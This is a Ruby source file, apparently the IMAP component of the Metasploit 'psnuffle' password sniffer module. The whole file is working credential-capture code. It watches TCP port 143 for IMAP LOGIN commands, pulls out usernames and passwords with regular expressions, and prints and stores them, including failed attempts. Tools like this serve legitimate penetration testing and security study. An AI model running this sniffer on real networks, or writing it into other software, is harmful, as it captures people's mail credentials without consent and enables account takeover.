# Psnuffle password sniffer add-on class for imap
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
# Also incorrect credentials are sniffed but marked
# as unsuccessful logins... (Typos are common :-) )
#


class SnifferIMAP < BaseProtocolParser

	def register_sigs
		self.sigs = {
			:banner		=> /^(\*\s+OK[^\n\r]*)/i,
			:login		=> /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i,
			:login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i,
			:login_bad	=> /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i,
			:login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i
		}
	end

	def parse(pkt)

		# We want to return immediatly if we do not have a packet which is handled by us
		return if not pkt[:tcp]
		return if (pkt[:tcp].src_port != 143 and pkt[:tcp].dst_port != 143)
		s = find_session((pkt[:tcp].dst_port == 143) ? get_session_src(pkt) : get_session_dst(pkt))

		self.sigs.each_key do |k|
			# There is only one pattern per run to test
			matched = nil
			matches = nil

			if (pkt[:tcp].payload_data =~ self.sigs[k])
				matched = k
				matches = [$1,$2]
			end

			case matched
			when :banner
				s[:banner] = matches
				s[:name]   = "IMAP Server Welcome Banner: #{s[:banner]}"
				report_service(s)

			when :login_pass

				s[:proto]="imap4"
				s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
				report_auth_info(s)
				print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

				# Remove it form the session objects so freeup
				sessions.delete(s[:session])

			when :login_fail

				s[:proto]="imap4"
				s[:extra]="Failed Login. Banner: #{s[:banner]}"
				report_auth_info(s)
				print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

				# Remove it form the session objects so freeup
				sessions.delete(s[:session])

			when :login_bad
				s[:proto]="imap4"
				s[:extra]="Failed Login. Banner: #{s[:banner]}"
				report_auth_info(s)
				print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

				# Remove it form the session objects so freeup
				sessions.delete(s[:session])

			when :login
				s[:user]=$1
				s[:pass]=$2

			when nil
				# No matches, no saved state
			else
				sessions[s[:session]].merge!({k => matches})
			end # end case matched
		end # end of each_key
	end # end of parse
end

